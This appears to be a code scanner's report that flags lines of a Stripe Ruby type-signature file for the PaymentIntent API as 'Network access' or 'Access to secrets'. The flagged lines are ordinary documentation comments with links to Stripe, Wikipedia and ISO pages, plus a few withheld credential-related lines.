    class Shipping < ::Stripe::StripeObject         # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0.
  • Network accessline 20
    # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0.
  • Network accessline 35
    end       class Tax < ::Stripe::StripeObject         # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than o
  • Network accessline 36
    class Tax < ::Stripe::StripeObject         # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to
  • Network accessline 37
    # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0.
  • Network accessline 58
    end       end       # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 59
    end       # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.       #
  • Network accessline 60
    # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 85
    # Controls whether this PaymentIntent will accept redirect-based payment methods.       #       # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional s
  • Network accessline 86
    #       # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional steps. To [confirm](https://docs.stripe.com/api/payment_intents/confirm) this PaymentInte
  • Network accessline 87
    # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional steps. To [confirm](https://docs.stripe.com/api/payment_intents/confirm) this PaymentIntent, you 
  • Network accessline 101
    class Inputs < ::Stripe::StripeObject         class Tax < ::Stripe::StripeObject           # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id
  • Network accessline 102
    class Tax < ::Stripe::StripeObject           # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id           sig { returns(String) }
  • Network accessline 103
    # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id
  • Network accessline 132
    end     class LastPaymentError < ::Stripe::StripeObject       # For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if the
  • Network accessline 133
    class LastPaymentError < ::Stripe::StripeObject       # For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if they provid
  • Network accessline 134
    # For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if they provide one.
  • Network accessline 138
    sig { returns(T.nilable(String)) }       def charge; end       # For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported.
  • Network accessline 139
    def charge; end       # For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported.       sig { returns(T.nilable(String)) }
  • Network accessline 140
    # For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported.
  • Network accessline 141
    sig { returns(T.nilable(String)) }       def code; end       # For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if t
  • Network accessline 142
    def code; end       # For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if they provide one.       sig { returns(T.ni
  • Network accessline 143
    # For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if they provide one.
  • Network accessline 144
    sig { returns(T.nilable(String)) }       def decline_code; end       # A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported.
  • Network accessline 145
    def decline_code; end       # A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported.       sig { returns(T.nilable(String)) }
  • Network accessline 146
    # A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported.
  • Network accessline 169
    # authentication flows and ultimately creates at most one successful charge.       #       # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents)
  • Network accessline 170
    #       # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents)       sig { returns(T.nilable(::Stripe::PaymentIntent)) }
  • Network accessline 171
    # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents)
  • Network accessline 173
    def payment_intent; end       # PaymentMethod objects represent your customer's payment instruments.       # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to
  • Network accessline 174
    # PaymentMethod objects represent your customer's payment instruments.       # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to       # Customer objects to store in
  • Network accessline 175
    # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to
  • Network accessline 176
    # Customer objects to store instrument details for future payments.       #       # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payme
  • Network accessline 177
    #       # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios).       sig { returns(T.nilable(::Stripe::PaymentMethod)) }
  • Network accessline 178
    # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios).
  • Network accessline 187
    # A SetupIntent guides you through the process of setting up and saving a customer's payment credentials for future payments.       # For example, you can use a SetupIntent to set up and save your customer's card without immediately collect
  • Network accessline 188
    # For example, you can use a SetupIntent to set up and save your customer's card without immediately collecting a payment.       # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow.       
  • Network accessline 189
    # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow.
  • Network accessline 191
    # Create a SetupIntent when you're ready to collect your customer's payment credentials.       # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid.       # The SetupIntent transitions through multiple [stat
  • Network accessline 192
    # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid.       # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides       # you throug
  • Network accessline 193
    # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides
  • Network accessline 195
    #       # Successful SetupIntents result in payment credentials that are optimized for future payments.       # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run thr
  • Network accessline 196
    # Successful SetupIntents result in payment credentials that are optimized for future payments.       # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through    
  • Network accessline 197
    # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through
  • Network accessline 198
    # [Strong Customer Authentication](https://docs.stripe.com/strong-customer-authentication) during payment method collection
  • Network accessline 199
    # to streamline later [off-session payments](https://docs.stripe.com/payments/setup-intents).
  • Network accessline 200
    # If you use the SetupIntent with a [Customer](https://api.stripe.com#setup_intent_object-customer),
  • Network accessline 201
    # it automatically attaches the resulting payment method to that Customer after successful setup.       # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on       # Pa
  • Network accessline 202
    # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on
  • Network accessline 205
    # By using SetupIntents, you can reduce friction for your customers, even as regulations change over time.       #       # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents)
  • Network accessline 206
    #       # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents)       sig { returns(T.nilable(::Stripe::SetupIntent)) }
  • Network accessline 207
    # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents)
  • Network accessline 319
    sig { returns(T.nilable(String)) }               def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 320
    def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 321
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 331
    sig { returns(T.nilable(String)) }               def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 332
    def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 333
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 345
    sig { returns(T.nilable(String)) }               def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 346
    def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 347
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 357
    sig { returns(T.nilable(String)) }               def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 358
    def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 359
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 403
    sig { returns(T.nilable(String)) }               def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 404
    def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 405
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 415
    sig { returns(T.nilable(String)) }               def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 416
    def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 417
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 429
    sig { returns(T.nilable(String)) }               def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 430
    def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 431
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 441
    sig { returns(T.nilable(String)) }               def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 442
    def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 443
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 463
    sig { returns(String) }             def bic; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 464
    def bic; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(String) }
  • Network accessline 465
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 484
    sig { returns(T.nilable(String)) }               def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 485
    def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 486
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 496
    sig { returns(T.nilable(String)) }               def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 497
    def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 498
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 510
    sig { returns(T.nilable(String)) }               def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 511
    def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 512
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 522
    sig { returns(T.nilable(String)) }               def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 523
    def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 524
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 562
    sig { returns(T.nilable(String)) }               def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 563
    def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 564
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 574
    sig { returns(T.nilable(String)) }               def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 575
    def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 576
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 588
    sig { returns(T.nilable(String)) }               def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 589
    def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 590
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 600
    sig { returns(T.nilable(String)) }               def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 601
    def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 602
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 643
    sig { returns(T.nilable(String)) }               def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 644
    def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 645
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 655
    sig { returns(T.nilable(String)) }               def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 656
    def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 657
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 669
    sig { returns(T.nilable(String)) }               def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 670
    def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 671
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 681
    sig { returns(T.nilable(String)) }               def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 682
    def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 683
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 727
    sig { returns(T.nilable(String)) }               def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 728
    def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 729
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 739
    sig { returns(T.nilable(String)) }               def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 740
    def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 741
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 753
    sig { returns(T.nilable(String)) }               def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 754
    def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 755
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 765
    sig { returns(T.nilable(String)) }               def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 766
    def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 767
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 853
    sig { returns(T.nilable(Integer)) }         def amount_remaining; end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currenc
  • Network accessline 854
    def amount_remaining; end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { returns(T.nilable(String
  • Network accessline 855
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 1675
    # Installment details for this payment.         #         # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).
  • Network accessline 1676
    #         # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).         sig { returns(T.nilable(Installments)) }
  • Network accessline 1677
    # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).
  • Network accessline 1684
    sig { returns(T.nilable(String)) }         def network; end         # Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-authorization) for this PaymentIntent.
  • Network accessline 1685
    def network; end         # Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-authorization) for this PaymentIntent.         sig { returns(T.nilable(String)) }
  • Network accessline 1686
    # Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-authorization) for this PaymentIntent.
  • Network accessline 1687
    sig { returns(T.nilable(String)) }         def request_extended_authorization; end         # Request ability to [increment the authorization](https://docs.stripe.com/payments/incremental-authorization) for this PaymentIntent.
  • Network accessline 1688
    def request_extended_authorization; end         # Request ability to [increment the authorization](https://docs.stripe.com/payments/incremental-authorization) for this PaymentIntent.         sig { returns(T.nilable(String)) }
  • Network accessline 1689
    # Request ability to [increment the authorization](https://docs.stripe.com/payments/incremental-authorization) for this PaymentIntent.
  • Network accessline 1690
    sig { returns(T.nilable(String)) }         def request_incremental_authorization; end         # Request ability to make [multiple captures](https://docs.stripe.com/payments/multicapture) for this PaymentIntent.
  • Network accessline 1691
    def request_incremental_authorization; end         # Request ability to make [multiple captures](https://docs.stripe.com/payments/multicapture) for this PaymentIntent.         sig { returns(T.nilable(String)) }
  • Network accessline 1692
    # Request ability to make [multiple captures](https://docs.stripe.com/payments/multicapture) for this PaymentIntent.
  • Network accessline 1693
    sig { returns(T.nilable(String)) }         def request_multicapture; end         # Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for this PaymentIntent.
  • Network accessline 1694
    def request_multicapture; end         # Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for this PaymentIntent.         sig { returns(T.nilable(String)) }
  • Network accessline 1695
    # Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for this PaymentIntent.
  • Network accessline 1696
    sig { returns(T.nilable(String)) }         def request_overcapture; end         # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](h
  • Network accessline 1697
    def request_overcapture; end         # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-auth
  • Network accessline 1698
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 1739
    sig { returns(T.nilable(String)) }         def capture_method; end         # Request ability to capture this payment beyond the standard [authorization validity window](https://docs.stripe.com/terminal/features/extended-authorizations#autho
  • Network accessline 1740
    def capture_method; end         # Request ability to capture this payment beyond the standard [authorization validity window](https://docs.stripe.com/terminal/features/extended-authorizations#authorization-validity)         sig { returns(T.
  • Network accessline 1741
    # Request ability to capture this payment beyond the standard [authorization validity window](https://docs.stripe.com/terminal/features/extended-authorizations#authorization-validity)
  • Network accessline 1742
    sig { returns(T.nilable(T::Boolean)) }         def request_extended_authorization; end         # Request ability to [increment](https://docs.stripe.com/terminal/features/incremental-authorizations) this PaymentIntent if the combination of M
  • Network accessline 1743
    def request_extended_authorization; end         # Request ability to [increment](https://docs.stripe.com/terminal/features/incremental-authorizations) this PaymentIntent if the combination of MCC and card brand is eligible. Check [increment
  • Network accessline 1744
    # Request ability to [increment](https://docs.stripe.com/terminal/features/incremental-authorizations) this PaymentIntent if the combination of MCC and card brand is eligible. Check [incremental_authorization_supported](https://docs.stripe.
  • Network accessline 2859
    sig { returns(T.nilable(String)) }         def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2860
    def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 2861
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2871
    sig { returns(T.nilable(String)) }         def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 2872
    def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 2873
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 2905
    class TransferData < ::Stripe::StripeObject       # The amount transferred to the destination account. This transfer will occur automatically after the payment succeeds. If no amount is specified, by default the entire payment amount is tra
  • Network accessline 2906
    # The amount transferred to the destination account. This transfer will occur automatically after the payment succeeds. If no amount is specified, by default the entire payment amount is transferred to the destination account.       #  The 
  • Network accessline 2907
    #  The amount must be less than or equal to the [amount](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-amount), and must be a positive integer
  • Network accessline 2919
    end     end     # Amount intended to be collected by this PaymentIntent. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or
  • Network accessline 2920
    end     # Amount intended to be collected by this PaymentIntent. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to 
  • Network accessline 2921
    # Amount intended to be collected by this PaymentIntent. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to charge ¥
  • Network accessline 2934
    sig { returns(T.nilable(T.any(String, ::Stripe::Application))) }     def application; end     # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe
  • Network accessline 2935
    def application; end     # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped 
  • Network accessline 2936
    # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped at the total amount captu
  • Network accessline 2937
    sig { returns(T.nilable(Integer)) }     def application_fee_amount; end     # Settings to configure compatible payment methods from the [Stripe Dashboard](https://dashboard.stripe.com/settings/payment_methods)
  • Network accessline 2938
    def application_fee_amount; end     # Settings to configure compatible payment methods from the [Stripe Dashboard](https://dashboard.stripe.com/settings/payment_methods)     sig { returns(T.nilable(AutomaticPaymentMethods)) }
  • Network accessline 2939
    # Settings to configure compatible payment methods from the [Stripe Dashboard](https://dashboard.stripe.com/settings/payment_methods)
  • Network accessline 2953
    # The client secret can be used to complete a payment from your frontend. It should not be stored, logged, or exposed to anyone other than the customer. Make sure that you have TLS enabled on any page that includes the client secret.     # 
  • Network accessline 2954
    #     # Refer to our docs to [accept a payment](https://docs.stripe.com/payments/accept-a-payment?ui=elements) and learn about how `client_secret` should be handled.     sig { returns(T.nilable(String)) }
  • Network accessline 2955
    [Credential-related source omitted]
  • Access to secretsline 2955
    [Credential-related source omitted]
  • Access to secretsline 2957
    [Credential-related source omitted]
  • Network accessline 2962
    sig { returns(Integer) }     def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 2963
    def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 2964
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 2969
    # Payment methods attached to other Customers cannot be used with this PaymentIntent.     #     # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not
  • Network accessline 2970
    #     # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Customer after the PaymentIntent 
  • Network accessline 2971
    # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Customer after the PaymentIntent has be
  • Network accessline 2976
    # Payment methods attached to other Accounts cannot be used with this PaymentIntent.     #     # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not 
  • Network accessline 2977
    #     # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Account after the PaymentIntent h
  • Network accessline 2978
    # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Account after the PaymentIntent has bee
  • Network accessline 2994
    sig { returns(T.nilable(LastPaymentError)) }     def last_payment_error; end     # ID of the latest [Charge object](https://docs.stripe.com/api/charges) created by this PaymentIntent. This property is `null` until PaymentIntent confirmation
  • Network accessline 2995
    def last_payment_error; end     # ID of the latest [Charge object](https://docs.stripe.com/api/charges) created by this PaymentIntent. This property is `null` until PaymentIntent confirmation is attempted.     sig { returns(T.nilable(T.any(
  • Network accessline 2996
    # ID of the latest [Charge object](https://docs.stripe.com/api/charges) created by this PaymentIntent. This property is `null` until PaymentIntent confirmation is attempted.
